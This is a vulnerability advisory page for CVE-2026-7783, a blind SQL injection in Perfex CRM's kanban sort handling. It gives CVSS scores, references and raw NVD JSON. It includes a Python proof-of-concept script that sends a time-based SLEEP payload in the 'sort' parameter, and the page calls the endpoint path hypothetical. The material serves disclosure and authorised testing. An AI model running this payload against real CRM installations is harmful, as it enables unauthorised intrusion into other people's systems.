CVE-2026-7783

Description

A flaw has been found in CodeCanyon Perfex CRM up to 3.4.1. This vulnerability affects the function AbstractKanban::applySortQuery of the file application/services/AbstractKanban.php of the component Admin Kanban Endpoint. This manipulation of the argument this causes sql injection. It is possible to initiate the attack remotely. The exploit has been published and may be used.

CVSS Details

CVSS Score

6.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Perfex CRM <= 3.4.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Conceptual Proof of Concept for CVE-2026-7783
import requests

def check_sqli(target_url, session_cookie):
    """Tests the AbstractKanban sort parameter for SQL injection."""
    # Endpoint for Admin Kanban (Hypothetical path based on structure)
    endpoint = f"{target_url}/admin/kanban/update_sort"
    
    # Payload for time-based blind SQL injection
    # Manipulation of the 'sort' argument triggers the flaw
    payload = "id ASC; SELECT SLEEP(5)-- -"
    
    headers = {
        "User-Agent": "Mozilla/5.0 (PoC Analyst)",
        "Cookie": f"ci_session={session_cookie}"
    }
    
    data = {
        "sort": payload
    }
    
    try:
        response = requests.post(endpoint, headers=headers, data=data, timeout=10)
        # If response takes longer than 5 seconds, injection is likely successful
        if response.elapsed.total_seconds() >= 5:
            return "[+] Vulnerability Confirmed: SQL Injection triggered."
        else:
            return "[-] Vulnerability not detected or patched."
    except Exception as e:
        return f"[!] Error: {e}"

# Usage
# target = "http://perfex-crm-instance.com"
# session = "valid_low_priv_user_session_id"
# print(check_sqli(target, session))

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7783
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7783
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7783/
[4] VulDB https://vuldb.com/cve/CVE-2026-7783
[5] https://bytium.com/insights/blind-sql-injection-in-perfex-crm-3-4-1
[6] https://vuldb.com/submit/807743
[7] https://vuldb.com/vuln/360980
[8] https://vuldb.com/vuln/360980/cti

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-7783", "sourceIdentifier": "[email protected]", "published": "2026-05-05T00:16:17.460", "lastModified": "2026-05-05T19:10:02.317", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in CodeCanyon Perfex CRM up to 3.4.1. This vulnerability affects the function AbstractKanban::applySortQuery of the file application/services/AbstractKanban.php of the component Admin Kanban Endpoint. This manipulation of the argument this causes sql injection. It is possible to initiate the attack remotely. The exploit has been published and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://bytium.com/insights/blind-sql-injection-in-perfex-crm-3-4-1", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/807743", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/360980", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/360980/cti", "source": "[email protected]"}]}}